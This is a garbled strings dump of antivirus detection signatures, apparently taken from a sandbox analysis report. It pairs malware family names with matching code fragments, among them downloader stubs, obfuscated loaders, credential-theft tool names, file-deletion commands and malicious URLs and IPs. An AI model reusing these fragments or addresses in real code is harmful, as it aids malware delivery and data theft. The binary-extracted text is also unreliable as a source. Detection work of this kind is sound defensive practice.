createobject(\"shell.application\") #createobject(\"shell.application\") !!#SCPT:Trojan:HTML/Phish.SMA1!MTB )O!!#SCPT:Trojan:HTML/Phish.SMA1!MTB <script>varplod=atob(\"ahr0chm6ly9 #
<script>varplod=atob(\"ahr0chm6ly9 !!#SCPT:Trojan:HTML/Redirector.CS1 )O!!#SCPT:Trojan:HTML/Redirector.CS1 scriptsrc=\"http://nt010.cn/e/j.js #scriptsrc=\"http://nt010.cn/e/j.js 
!!#SCPT:Trojan:JS/Magecart.YA2!MTB )O!!#SCPT:Trojan:JS/Magecart.YA2!MTB #return$ .gate+\"?hash=\"+encoded; !!#SCPT:Trojan:JS/Obfuse.RVBB5!MTB 
)O!!#SCPT:Trojan:JS/Obfuse.RVBB5!MTB bname=bname+\"vb\";bname=bname+\"s\"; #bname=bname+\"vb\";bname=bname+\"s\"; !!#SCPT:Trojan:Linux/CoinMiner.JJ4 
)O!!#SCPT:Trojan:Linux/CoinMiner.JJ4 wget-qhttp:// #wget-qhttp:// /$myfile-o$mydir/ !!#SCRIPT:PowerShell/Macroburst.O4 )O!!#SCRIPT:PowerShell/Macroburst.O4 https://\"+ #https://\"+  +\"?
restype=container !!#SCRIPT:Win32/AutoitTrayIconHide )O!!#SCRIPT:Win32/AutoitTrayIconHide autoitsetoption(\"trayiconhide\",1) #autoitsetoption(\"trayiconhide\",1) 
)O\"!#ALF:HackTool:Script/Nosogo.A!dha read_armed_file:readthegivenfile \"read_armed_file:readthegivenfile \"!#ALF:SCPT:TrojanDropper:JS/Donoff )O\"!#ALF:SCPT:TrojanDropper:JS/Donoff 
({cname:\" \"({cname:\" .docm\",nlaunch: \"!#ASRWmiEventSubscriptionExclusion )O\"!#ASRWmiEventSubscriptionExclusion hpusb-c&auniversaldockg2consumer \"hpusb-
c&auniversaldockg2consumer \"!#Lowfi:TrojanDownloader:Nemucod.H )O\"!#Lowfi:TrojanDownloader:Nemucod.H \".run( ,0,0)};}catch(er){};}dl( \"!#SCPT:BrowserModifier:Win32/Eazel 
)O\"!#SCPT:BrowserModifier:Win32/Eazel iexplore.exehttp://en.eazel.com/ \"iexplore.exehttp://en.eazel.com/ \"!#SCPT:CVE-2021-27065.B.ConfigStrB )O\"!#SCPT:CVE-2021-27065.B.ConfigStrB 
extendedprotectiontokenchecking: \"extendedprotectiontokenchecking: \"!#SCPT:Exploit:Win32/ShellCode.Y.1 )O\"!#SCPT:Exploit:Win32/ShellCode.Y.1 \"49803408 0-9a-f85c975f7ffe0e8 
)O\"!#SCPT:JS/Obfuscator.Split.MSXML.A \"m\"+\" x\"+\"m \"x\"+\"m \"!#SCPT:Linux/Coinminer.downloadyam )O\"!#SCPT:Linux/Coinminer.downloadyam while[1]do \"while[1]do 0downloadyam 0sleep 
\"!#SCPT:SchedulerInvokeMacro.E!amsi )O\"!#SCPT:SchedulerInvokeMacro.E!amsi itaskdefinition.registrationinfo \"itaskdefinition.registrationinfo \"!#SCPT:Trojan:Win32/Powbit.YC2!MTB 
)O\"!#SCPT:Trojan:Win32/Powbit.YC2!MTB start-process-windowstylehidden$ \"start-process-windowstylehidden$ \"!#SCPT:TrojanDropper:JS/Binzie.A!B )O\"!#SCPT:TrojanDropper:JS/Binzie.A!B 
;eval(function(){for(var_0x \";eval(function(){for(var_0x \"!#SCRIPT:PowerShell/Internaloff.B3 )O\"!#SCRIPT:PowerShell/Internaloff.B3 =[console]::treatcontrolcasinput \"=[console]::treatcontrolcasinput 
\"!#SCRIPT:PowerShell/Internaloff.P2 )O\"!#SCRIPT:PowerShell/Internaloff.P2 =(new-guid).tostring().toupper() \"=(new-guid).tostring().toupper() \"!#SCRIPT:Trojan:JS/BlacoleRef.CW.1 
)O\"!#SCRIPT:Trojan:JS/BlacoleRef.CW.1 (p(a[\"su \"(p(a[\"su \"](i,2),27)+ ]((p(s.substr(i,2),26)+ \"]((p(s.substr(i,2),26)+ \"!#Script:Trojan:JS/Kryptik.AD!MTB2 )O\"!#Script:Trojan:JS/Kryptik.AD!MTB2 
for(vari=24;i< \"for(vari=24;i< .length-2;i+=2) #!#ALF:SoftwareBundler:Xiazai:Config )O#!#ALF:SoftwareBundler:Xiazai:Config iesp=http://hao.360.cn/?src=lm& !iesp=http://hao.360.cn/?src=lm& 
#!#BRUTE:Exploit:VBS/CVE-2014-6332-2 )O#!#BRUTE:Exploit:VBS/CVE-2014-6332-2 =1.69759663316747e-313 !=1.69759663316747e-313 =lenb( #!#SCPT:CodeOnly.UseMojoJsBindings.A 
)O#!#SCPT:CodeOnly.UseMojoJsBindings.A mojo.bindinterface(blink.mojom. !mojo.bindinterface(blink.mojom. #!#SCPT:Program:JS/InjectorPlugin.3b )O#!#SCPT:Program:JS/InjectorPlugin.3b 
(document.body||document.head). !(document.body||document.head). #!#SCPT:Script/FileTypeMacro.A!Rttr8 )O#!#SCPT:Script/FileTypeMacro.A!Rttr8 socialhistory.docx.manifest.xml 
!socialhistory.docx.manifest.xml #!#SCPT:TrojanDownloader:JS/Tnega.M4 )O#!#SCPT:TrojanDownloader:JS/Tnega.M4 .dq.getexecutor().exec( !.dq.getexecutor().exec( 
#!#SCPT:VBS/Obfuscator.Split.Adodb.A )O#!#SCPT:VBS/Obfuscator.Split.Adodb.A createobject(\"adodb.s\"+\"tream\") !createobject(\"adodb.s\"+\"tream\") createobject(\"adodb.st\"+\"ream\") 
!createobject(\"adodb.st\"+\"ream\") #!#SCPT:XML/FriendlyAssemblyIdentity )O#!#SCPT:XML/FriendlyAssemblyIdentity assemblyidentityname=\"microsoft !assemblyidentityname=\"microsoft 
#!#SCRIPT:Exploit:JS/CVE-2013-2551-2 )O#!#SCRIPT:Exploit:JS/CVE-2013-2551-2 v\\:*{behavior:url(#default#vml) !v\\:*{behavior:url(#default#vml) #!#SCRIPT:Exploit:Win32/Pdfjsc.AGS.1 
)O#!#SCRIPT:Exploit:Win32/Pdfjsc.AGS.1 +\"#\"+\"\"+\":\"+\"\"+ !+\"#\"+\"\"+\":\"+\"\"+ 0getfield(\" #!#TrojanDownloader:O97M/Slinjek.MR2 )O#!#TrojanDownloader:O97M/Slinjek.MR2 
set/p=\"\"iexec/ihttp^:^/^/^linux !set/p=\"\"iexec/ihttp^:^/^/^linux )O#!#TrojanDownloader:Win32/Lnkget.gen !echo $!#SCPT:AutoItMacro_ProgramsCommonDir 
)O$!#SCPT:AutoItMacro_ProgramsCommonDir @programscommondir  @programscommondir $!#SCPT:AutoItMacro_SW_SHOWNOACTIVATE )O$!#SCPT:AutoItMacro_SW_SHOWNOACTIVATE 
@sw_shownoactivate  @sw_shownoactivate $!#SCPT:Backdoor:PHP/Webshell.T!al013 )O$!#SCPT:Backdoor:PHP/Webshell.T!al013 $word.selection.insertformula(  $word.selection.insertformula( 
$!#SCPT:Obfuscator.LongVarNameInFor.A )O$!#SCPT:Obfuscator.LongVarNameInFor.A  for(var a-z0-9=0; $!#SCPT:SchTaskAdministratorAccntPriv )O$!#SCPT:SchTaskAdministratorAccntPriv 
<userid>s-1-5-  <userid>s-1-5- 0-500</userid> $!#SCPT:Trojan:JS/WmiCreateWmic.B!ams )O$!#SCPT:Trojan:JS/WmiCreateWmic.B!ams setpropvalue.commandline(\"wmic  
setpropvalue.commandline(\"wmic $!#SCPT:Trojan:O97M/CVE-2017-8570.JR3 )O$!#SCPT:Trojan:O97M/CVE-2017-8570.JR3 execute(\"  execute(\" \"\"/bject(\"\"-sxml2d 
$!#SCRIPT:JS/PowershellBinaryString.C )O$!#SCRIPT:JS/PowershellBinaryString.C 73746172742d70726f636573732024  73746172742d70726f636573732024 
$!#SCRIPT:TrojanDownloader:JS/Adodb.1 )O$!#SCRIPT:TrojanDownloader:JS/Adodb.1 \"msxml2.xmlhttp  \"msxml2.xmlhttp `adodb.stream $!#SCRIPT:TrojanDownloader:JS/Rusem.1 
)O$!#SCRIPT:TrojanDownloader:JS/Rusem.1 /russmebelspb.com/index_files/  /russmebelspb.com/index_files/ $!#Script:Trojan:JS/SpelevoEK.AD!MTB9 )O$!#Script:Trojan:JS/SpelevoEK.AD!MTB9 
if((true)&&(checkversionflash(  if((true)&&(checkversionflash( $!#TEL:Backdoor:PHP/WebShell.FileAttr )O$!#TEL:Backdoor:PHP/WebShell.FileAttr $perms.=($mode&00400)?'r':'-';  $perms.=
($mode&00400)?'r':'-'; %!#Exploit:O97M/CVE-2017-11882.AQ!ats1 )O%!#Exploit:O97M/CVE-2017-11882.AQ!ats1 aeppedaetae%\\emsebueiled.eexe %!#SCPT:CodeOnly.FindMsvcrtWithJscript 
)O%!#SCPT:CodeOnly.FindMsvcrtWithJscript (jscript %!#SCPT:Exploit:O97M/CVE-2017-0199.RX1 )O%!#SCPT:Exploit:O97M/CVE-2017-0199.RX1 http://a.pomf.cat/zjiqnx.html 
%!#SCPT:Exploit:O97M/CVE-2017-8570.HZ3 )O%!#SCPT:Exploit:O97M/CVE-2017-8570.HZ3 execute(\"base\"\"64encodetext\") %!#SCPT:Phish:PHP/Loc_Href_Pwd_html.GG 
)O%!#SCPT:Phish:PHP/Loc_Href_Pwd_html.GG location.href= password.htm %!#SCPT:Phish:PHP/PhishKitBlock.B3!MTB )O%!#SCPT:Phish:PHP/PhishKitBlock.B3!MTB rewritecond%
{http_user_agent} %!#SCPT:Trojan:Linux/CoinMiner.AO2!MTB )O%!#SCPT:Trojan:Linux/CoinMiner.AO2!MTB //py2web.store/ /newinit.sh %!#SCPT:Trojan:PowerShell/Keystrokes.F 
)O%!#SCPT:Trojan:PowerShell/Keystrokes.F powershell.addscript($script) %!#SCPT:TrojanClicker:JS/Faceliker.AM1 )O%!#SCPT:TrojanClicker:JS/Faceliker.AM1 http://muahangvn.blogspot.com 
%!#SCRIPT:Exploit:JS/Phisims.B!lowfi-4 )O%!#SCRIPT:Exploit:JS/Phisims.B!lowfi-4 /themes/resources/lgnbotl.gif %!#SCRIPT:Java/CVE-2012-0507!ObfusStr2 )O%!#SCRIPT:Java/CVE-2012-
0507!ObfusStr2 [zkmunpack] 616e672e4f626a %!#TrojanDownloader:AutoIt/Povertel.G4 )O%!#TrojanDownloader:AutoIt/Povertel.G4 #onautoitstartregister\"\" 
%!#TrojanDownloader:BAT/Pterodo.F!Pra2 )O%!#TrojanDownloader:BAT/Pterodo.F!Pra2 http://device-update.ddns.net &!#Exploit:O97M/CVE-2017-11882.AB!atob2 )O&!#Exploit:O97M/CVE-2017-
11882.AB!atob2 47657450726f6341646472657373 &!#SCPT:Ransom:PowerShell/MalScript!sy2 )O&!#SCPT:Ransom:PowerShell/MalScript!sy2 remove-item  -force-recurse 
&!#SCPT:Trojan:PowerShell/Browserdata.C )O&!#SCPT:Trojan:PowerShell/Browserdata.C ($browser-contains'firefox') &!#SCPT:TrojanDownloader:BAT/Selmito.A1 
)O&!#SCPT:TrojanDownloader:BAT/Selmito.A1 %strfileurl=\"http P.zip\">>% &!#SCPT:TrojanDownloader:JS/Banload.Z01 )O&!#SCPT:TrojanDownloader:JS/Banload.Z01 compilervar= +\"\\\\7za.\"+ Copyright Joe Security LLC 2021 Page 67 of 181



)O&!#SCPT:TrojanDownloader:BAT/Selmito.A1 %strfileurl=\"http P.zip\">>% &!#SCPT:TrojanDownloader:JS/Banload.Z01 )O&!#SCPT:TrojanDownloader:JS/Banload.Z01 compilervar= +\"\\\\7za.\"+ 
&!#SCPT:TrojanDownloader:JS/Nemucod.HY2 )O&!#SCPT:TrojanDownloader:JS/Nemucod.HY2 maze.shuffle=function(array) &!#SCPT:TrojanDownloader:JS/Nemucod.JV5 
)O&!#SCPT:TrojanDownloader:JS/Nemucod.JV5 92e73706c69636528206161752c2 &!#SCPT:TrojanDownloader:JS/Nemucod.JV9 )O&!#SCPT:TrojanDownloader:JS/Nemucod.JV9 
4c2e70687022205d3b0a0a66756e &!#SCPT:TrojanDownloader:JS/Nemucod.SH2 )O&!#SCPT:TrojanDownloader:JS/Nemucod.SH2 .split(regexp(  )).join(\"\") 
&!#SCPT:TrojanDownloader:JS/Nemucod.SJ1 )O&!#SCPT:TrojanDownloader:JS/Nemucod.SJ1 \\x2e\\x7a\\x69\\x70\",\"\\x5c\",\"\\x &!#SCPT:TrojanDownloader:JS/Nemucod:Z03 
)O&!#SCPT:TrojanDownloader:JS/Nemucod:Z03 (){returnundefined;}function &!#SCPT:TrojanDownloader:VBS/Obfuse.TR1 )O&!#SCPT:TrojanDownloader:VBS/Obfuse.TR1 \"):loop 
&!#SCRIPT:PowerShell/Compress-Archive.B )O&!#SCRIPT:PowerShell/Compress-Archive.B compress-archive-literalpath &!#SCRIPT:PowerShell/WindowsCredentials 
)O&!#SCRIPT:PowerShell/WindowsCredentials windows.security.credentials &!#TrojanDownloader:JS/Donvibs.EE!atb03 )O&!#TrojanDownloader:JS/Donvibs.EE!atb03 ('0x0', 
&!#TrojanDownloader:Linux/Coinminer.AA3 )O&!#TrojanDownloader:Linux/Coinminer.AA3 thenecho\"detectedryzen\"wrmsr &!#TrojanDownloader:O97M/Obfuse.SK8!MTB 
)O&!#TrojanDownloader:O97M/Obfuse.SK8!MTB if(fso.fileexists(path))then &!#TrojanDownloader:Win32/PowerShell.A1 )O&!#TrojanDownloader:Win32/PowerShell.A1 
vgbpahiadab1ageababcag8aeaa= '!#//SCPT:TrojanSpy:AndroidOS/DmsSpy.BB2 )O'!#//SCPT:TrojanSpy:AndroidOS/DmsSpy.BB2 applicationcom.stub.stubapp 
'!#SCPT:Trojan:PHP/PwRevWebshell.YA1!MTB )O'!#SCPT:Trojan:PHP/PwRevWebshell.YA1!MTB parametersetname=\"reverse\") '!#SCPT:Trojan:PowerShell/DllInjection.E 
)O'!#SCPT:Trojan:PowerShell/DllInjection.E writeprocessmemory.invoke($ '!#SCPT:TrojanDownloader:JS/Nemucod.echo )O'!#SCPT:TrojanDownloader:JS/Nemucod.echo 
=\"echo==\\\"unknown\\\"\";return '!#SCPT:TrojanDownloader:O97M/Powdow.SX1 )O'!#SCPT:TrojanDownloader:O97M/Powdow.SX1 continue\"=\"silentlycontinue 
'!#SCPT:TrojanDownloader:VBS/Banload.BL1 )O'!#SCPT:TrojanDownloader:VBS/Banload.BL1 vailabuscarmod2,aondeficar+ '!#SCRIPT:Exploit:Win32/CVE-2012-4792-A4 
)O'!#SCRIPT:Exploit:Win32/CVE-2012-4792-A4 <t:animatecolorid=\"myanim\"/ '!#SCRIPT:PowerShell/AddTypedotnet.A!MTB )O'!#SCRIPT:PowerShell/AddTypedotnet.A!MTB  (\"http 
'!#SCRIPT:TrojanClicker:JS/FaceLiker.C-3 )O'!#SCRIPT:TrojanClicker:JS/FaceLiker.C-3 .style.top=(window.event.y- '!#TrojanDownloader:O97M/MalSpam.F!ats01 
)O'!#TrojanDownloader:O97M/MalSpam.F!ats01 cmd/cc^m^d;;/v^;/c\";(((^set )O(!#ALF:Script:SingleKeyXorDataArray.ST004 224,8,8,8,8, @,93,129,237 225,9,9,9,9, @,92,128,236 233,1,1,1,1, 
@,84,136,228 234,2,2,2,2, @,87,139,231 235,3,3,3,3, @,86,138,230 236,4,4,4,4, @,81,141,225 237,5,5,5,5, @,80,140,224 238,6,6,6,6, @,83,143,227 239,7,7,7,7, @,82,142,226 
(!#ALF:TrojanDownloader:O97M/Qakbot.scpt2 )O(!#ALF:TrojanDownloader:O97M/Qakbot.scpt2 c:/users/public (!#ALF:TrojanDownloader:O97M/Sheemdro.STA 
)O(!#ALF:TrojanDownloader:O97M/Sheemdro.STA concatenate(  nload (!#SCPT:JS/Obfuscator.parseInt.WiseLoop.A )O(!#SCPT:JS/Obfuscator.parseInt.WiseLoop.A parseint( 0o,16); 
(!#SCPT:Trojan:JS/IframeRef!redirector_03 )O(!#SCPT:Trojan:JS/IframeRef!redirector_03 <framesrc=\"http://  ?epl= (!#SCPT:TrojanDownloader:JS/Nemucod.ABM.1 
)O(!#SCPT:TrojanDownloader:JS/Nemucod.ABM.1 ('41444f44422e53747265616d (!#SCPT:TrojanDownloader:JS/Nemucod.ABM.2 )O(!#SCPT:TrojanDownloader:JS/Nemucod.ABM.2 
['526573706f6e7365426f6479 (!#SCPT:TrojanDownloader:O97M/EncDoc.BRV5 )O(!#SCPT:TrojanDownloader:O97M/EncDoc.BRV5 <f>\"185.159.82.90/p1.\"</f> 
(!#SCPT:TrojanDownloader:VBS/Nemucod.BKP4 )O(!#SCPT:TrojanDownloader:VBS/Nemucod.BKP4 =right(tmi5hj38670,rh3379) )!#HackTool:PowerShell/Mikatz.Invoke!Lowfi 
)O)!#HackTool:PowerShell/Mikatz.Invoke!Lowfi functioninvoke-mimidogz{< functioninvoke-mimikatz{< )!#SCPT:AutoItApi_GUICtrlCreateContextMenu )O)!#SCPT:AutoItApi_GUICtrlCreateContextMenu 
guictrlcreatecontextmenu( )!#SCPT:TrojanDownloader:O97M/EncDoc.BKIR4 )O)!#SCPT:TrojanDownloader:O97M/EncDoc.BKIR4 <t>\"..\\cvbnxzcv.dll\")</t> 
)!#SCPT:TrojanDownloader:O97M/Powdow.BQD10 )O)!#SCPT:TrojanDownloader:O97M/Powdow.BQD10 $env:temp+'\\xlczo.exe')\") )!#SCRIPT:SoftwareBundler:Win32/Somoto.A-3 
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($PUA:Block:CoinMiner.G&!PUA:Exceptionz PUA:MacOS/Macnist.B!MTB PUA:Block:Macnist.B&!PUA:Exceptionz &\"PUA:Block:Macnist.B&!PUA:Exceptionz PUA:MacOS/SurfBuyer.B!MTB 
PUA:MacOS/SurfBuyer.B1&PUA:MacOS/SurfBuyer.B2&!PUA:Exceptionz @<PUA:MacOS/SurfBuyer.B1&PUA:MacOS/SurfBuyer.B2&!PUA:Exceptionz PUA:MacOS/VSearch.I!MTB 
PUA:Block:VSearch.I&!PUA:Exceptionz &\"PUA:Block:VSearch.I&!PUA:Exceptionz PUA:MacOS/Didnarbois.C!MTB PUA:Block:Didnarbois.C&!PUA:Exceptionz 
)%PUA:Block:Didnarbois.C&!PUA:Exceptionz PUA:MacOS/CoinMiner.H!MTB PUA:Block:CoinMiner.H&!PUA:Exceptionz ($PUA:Block:CoinMiner.H&!PUA:Exceptionz 
PUA:AndroidOS/MonitorMinor.A!MTB  PUA:AndroidOS/MonitorMinor.A!MTB PUA:Block:MonitorMinor.A&!PUA:Exceptionz +'PUA:Block:MonitorMinor.A&!PUA:Exceptionz 
PUA:MacOS/MacInformer.B!MTB PUA:Block:MacInformer.B&!PUA:Exceptionz *&PUA:Block:MacInformer.B&!PUA:Exceptionz PUA:MacOS/Adload.E!MTB PUA:Block:Adload.E&!PUA:Exceptionz 
%!PUA:Block:Adload.E&!PUA:Exceptionz !Dofoil!MSR PUA:MacOS/Shopsmart.C!MTB PUA:Block:Shopsmart.C&!PUA:Exceptionz ($PUA:Block:Shopsmart.C&!PUA:Exceptionz 
PUA:Win32/Ulphar.A!ml PUA:Win32/Ulphar.B!ml PUA:Win32/Ulphar.C!ml PUA:Win32/Ulphar.D!ml PUA:Script/Ulphar.A!ml PUA:Script/Ulphar.B!ml PUA:Script/Ulphar.C!ml PUA:Script/Ulphar.D!ml 
Program:Win32/Ulthaw.A!ml Program:Win32/Ulthaw.B!ml Program:Win32/Ulthaw.C!ml Program:Win32/Ulthaw.D!ml Program:Script/Ulthaw.A!ml Program:Script/Ulthaw.B!ml 
Program:Script/Ulthaw.C!ml Program:Script/Ulthaw.D!ml PUA:MacOS/DutyWatch.B!MTB PUA:Block:DutyWatch.B&!PUA:Exceptionz ($PUA:Block:DutyWatch.B&!PUA:Exceptionz 
PUA:MacOS/SpeedUpMac.A!MTB PUA:Block:SpeedUpMac.A&!PUA:Exceptionz )%PUA:Block:SpeedUpMac.A&!PUA:Exceptionz !Webalta!MSR PUA:MacOS/AMCleaner.P!MTB 
PUA:Block:AMCleaner.P&!PUA:Exceptionz ($PUA:Block:AMCleaner.P&!PUA:Exceptionz PUA:MacOS/AMCleaner.Q!MTB PUA:Block:AMCleaner.Q&!PUA:Exceptionz 
($PUA:Block:AMCleaner.Q&!PUA:Exceptionz PUA:MacOS/MacBooster.L!MTB PUA:Block:MacBooster.L&!PUA:Exceptionz )%PUA:Block:MacBooster.L&!PUA:Exceptionz 
PUA:MacOS/Genieo.AD!MTB PUA:Block:Genieo.AD&!PUA:Exceptionz &\"PUA:Block:Genieo.AD&!PUA:Exceptionz PUA:MacOS/AMCleaner.R!MTB PUA:Block:AMCleaner.R&!PUA:Exceptionz 
($PUA:Block:AMCleaner.R&!PUA:Exceptionz PUA:MacOS/Bundlore.M!MTB PUA:MacOS/Bundlore.M1&PUA:MacOS/Bundlore.M2&PUA:MacOS/Bundlore.M3&!PUA:Exceptionz 
TPPUA:MacOS/Bundlore.M1&PUA:MacOS/Bundlore.M2&PUA:MacOS/Bundlore.M3&!PUA:Exceptionz PUA:MacOS/SurfBuyer.D!MTB PUA:Block:SurfBuyer.D&!PUA:Exceptionz 
($PUA:Block:SurfBuyer.D&!PUA:Exceptionz PUA:MacOS/AMCleaner.S!MTB PUA:Block:AMCleaner.S&!PUA:Exceptionz ($PUA:Block:AMCleaner.S&!PUA:Exceptionz PUA:Win64/CudoMiner 
PUA:Block:CudoMiner&!PUA:Exceptionz &\"PUA:Block:CudoMiner&!PUA:Exceptionz !NewWeb!MSR PUA:MacOS/Shopsmart.D!MTB PUA:Block:Shopsmart.D&!PUA:Exceptionz 
($PUA:Block:Shopsmart.D&!PUA:Exceptionz PUA:MacOS/CoinMiner.K!MTB PUA:Block:CoinMiner.K&!PUA:Exceptionz ($PUA:Block:CoinMiner.K&!PUA:Exceptionz 
PUA:MacOS/AoboKeylogger.G!MTB PUA:Block:AoboKeylogger.G&!PUA:Exceptionz ,(PUA:Block:AoboKeylogger.G&!PUA:Exceptionz PUA:MacOS/AMCleaner.T!MTB 
PUA:Block:AMCleaner.T&!PUA:Exceptionz ($PUA:Block:AMCleaner.T&!PUA:Exceptionz PUA:MacOS/Adload.F!MTB PUA:Block:Adload.F&!PUA:Exceptionz %!PUA:Block:Adload.F&!PUA:Exceptionz 
App:BFGMiner App:BloodMiner %programfiles%\\blood foundation\\blood miner multilevel v0.9.2 (32bit) beta %programfiles%\\blood foundation\\blood miner multilevel v0.9.2 (64bit) beta 
%programfiles%\\blood foundation\\blood miner multilevel v0.9.2.2 (32bit) beta %programfiles%\\blood foundation\\blood miner multilevel v0.9.2.2 (64bit) beta %programfiles%\\blood foundation\\blood 
miner multilevel v0.9.2 (32bit) beta%programfiles%\\blood foundation\\blood miner multilevel v0.9.2 (64bit) beta%programfiles%\\blood foundation\\blood miner multilevel v0.9.2.2 (32bit) 
beta%programfiles%\\blood foundation\\blood miner multilevel v0.9.2.2 (64bit) beta hklm\\software\\wow6432node\\blood foundation\\blood miner multilevel v0.9.2 (32bit) beta 
hklm\\software\\wow6432node\\blood foundation\\blood miner multilevel v0.9.2 (64bit) beta hklm\\software\\wow6432node\\blood foundation\\blood miner multilevel v0.9.2.2 (32bit) beta 
hklm\\software\\wow6432node\\blood foundation\\blood miner multilevel v0.9.2.2 (64bit) beta hklm\\software\\wow6432node\\blood foundation\\blood miner multilevel v0.9.2 (32bit) 
betahklm\\software\\wow6432node\\blood foundation\\blood miner multilevel v0.9.2 (64bit) betahklm\\software\\wow6432node\\blood foundation\\blood miner multilevel v0.9.2.2 (32bit) 
betahklm\\software\\wow6432node\\blood foundation\\blood miner multilevel v0.9.2.2 (64bit) beta blood miner multilevel v0.9.2 (32bit) beta blood miner multilevel v0.9.2 (64bit) beta blood miner 
multilevel v0.9.2.2 (32bit) beta blood miner multilevel v0.9.2.2 (64bit) beta blood miner multilevel v0.9.2 (32bit) betablood miner multilevel v0.9.2 (64bit) betablood miner multilevel v0.9.2.2 (32bit) 
betablood miner multilevel v0.9.2.2 (64bit) beta blood foundation *CN=?bloodland co., ltd* *O=?bloodland co., ltd* *CN=?bloodland co., ltd**O=?bloodland co., ltd* 
ad0bb391c85bf57613591802ec3c146477fd560b ad0bb391c85bf57613591802ec3c146477fd560bz App:BMiner  utqBL< H71!} App:CCMiner ccminer ccminerz App:CGMiner App:ClaymoreMiner qz[_S 
App:ClaymoreCryptoNoteMiner m,b^3 App:ClaymoreDualMiner k'S*o =R:hYf STCAD QXWV&P |?Yn < udioLoopTag.A&SCRIPT:JS/MagnisocBrowser.A&SCRIPT:HTML/TechMsgTollfree.A 
!#TEL:Trojan:JS/Tisifi.ECBLua:ContextualDropFileByEmailClient&Lua:SingleFileJSInZip&Lua:ContextJSDoubleExtension 
V!#TEL:Trojan:JS/Tisifi.ECBLua:ContextualDropFileByEmailClient&Lua:SingleFileJSInZip&Lua:ContextJSDoubleExtension 
!#AGGR:Tobeet_Msil_0580B786pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&HSTR:MSIL/Obfuscator.MPRESS.A 
U!#AGGR:Tobeet_Msil_0580B786pea_ismsil&HSTR:InstallerFile&AGGR:Lua:MSIL:FrameworkV4&HSTR:MSIL/Obfuscator.MPRESS.A 
!#AGGR:Tobeet_Msil_2B6477B3HSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:AutoAttrMsil_852C9155 
U!#AGGR:Tobeet_Msil_2B6477B3HSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:AutoAttrMsil_852C9155 
!#AGGR:Tobeet_Msil_2BB622AAHSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:AutoAttrMsil_8AE2833D 
U!#AGGR:Tobeet_Msil_2BB622AAHSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:AutoAttrMsil_8AE2833D 
!#AGGR:Tobeet_Msil_33F287C8pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:Win32/PossibleKeylogger.C1 
U!#AGGR:Tobeet_Msil_33F287C8pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&LUA:SuspVerinfo1&HSTR:Win32/PossibleKeylogger.C1 
!#AGGR:Tobeet_Msil_EC04030BHSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:AutoAttrMsil_8AE2833D 
U!#AGGR:Tobeet_Msil_EC04030BHSTR:MSIL.MyNamespace&pea_ismsil&AGGR:Lua:MSIL:FrameworkV4&HSTR:AutoAttrMsil_8AE2833D 
!#ALF:Trojan:HTML/Freyalp.BSCRIPT:JS/FreyalpFunction.B&(SCRIPT:JS/FreyalpFunction.A|SCRIPT:JS/FreyalpFunction.C) U!#ALF:Trojan:HTML/Freyalp.BSCRIPT:JS/FreyalpFunction.B&
(SCRIPT:JS/FreyalpFunction.A|SCRIPT:JS/FreyalpFunction.C) !#TEL:Trojan:Win32/Tisifi.CLua:ContextFromWebmail&RPF:MsilOverlappingMethods&pea_isdamaged&SuspiciousEXEfilename 
U!#TEL:Trojan:Win32/Tisifi.CLua:ContextFromWebmail&RPF:MsilOverlappingMethods&pea_isdamaged&SuspiciousEXEfilename 
!#TEL:PowerShell/Mimikittenz.CLua:Powershell/Mimikittenz.A!credpatterns&SCRIPT:PowerShell/Mimikittenz.A!browsers 
R!#TEL:PowerShell/Mimikittenz.CLua:Powershell/Mimikittenz.A!credpatterns&SCRIPT:PowerShell/Mimikittenz.A!browsers 
!#ALF:Trojan:PowerShell/DynamicLoaderSCPT:Trojan:PowerShell/DynamicLoader1&SCPT:Trojan:PowerShell/DynamicLoader2 
t%K!#ALF:Trojan:PowerShell/DynamicLoaderSCPT:Trojan:PowerShell/DynamicLoader1&SCPT:Trojan:PowerShell/DynamicLoader2 
!#TEL:SCRIPT/WmiLaunchMshta_JavaScript.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchMshta_JavaScript 
t(H!#TEL:SCRIPT/WmiLaunchMshta_JavaScript.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchMshta_JavaScript 
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!#TEL:SCRIPT/WmiLaunchWmic_OsGetFormat.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchWmic_OsGetFormat 
t(H!#TEL:SCRIPT/WmiLaunchWmic_OsGetFormat.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchWmic_OsGetFormat 
!#TEL:SCRIPT/WmiLaunchWorkflowCompiler.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchWorkflowCompiler 
t(H!#TEL:SCRIPT/WmiLaunchWorkflowCompiler.AMpIsWmiAMSIScan&SCRIPT:WmiCreateProcess&SCRIPT:WmiLaunchWorkflowCompiler 
!#AGGR:Tobeet_Msil_034E3D19HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV4&HSTR:InstallerFile&HSTR:FileSharingURL 
V!#AGGR:Tobeet_Msil_034E3D19HSTR:MSIL.MyNamespace&AGGR:Lua:MSIL:FrameworkV4&HSTR:InstallerFile&HSTR:FileSharingURL 
!#AGGR:Tobeet_Msil_1257EC0AHSTR:MSIL.MyNamespace&pea_ismsil&LUA:SuspVerinfo1&HSTR:VirTool:Win32/VBInject.gen!AN.2 
V!#AGGR:Tobeet_Msil_1257EC0AHSTR:MSIL.MyNamespace&pea_ismsil&LUA:SuspVerinfo1&HSTR:VirTool:Win32/VBInject.gen!AN.2 
!#AGGR:Tobeet_Msil_1EFCCCA2pea_ismsil&HSTR:InstallerFile&HSTR:MSIL/PossibleKeylogger.A5&HSTR:Tobeet_Msil_CD3D81BD 
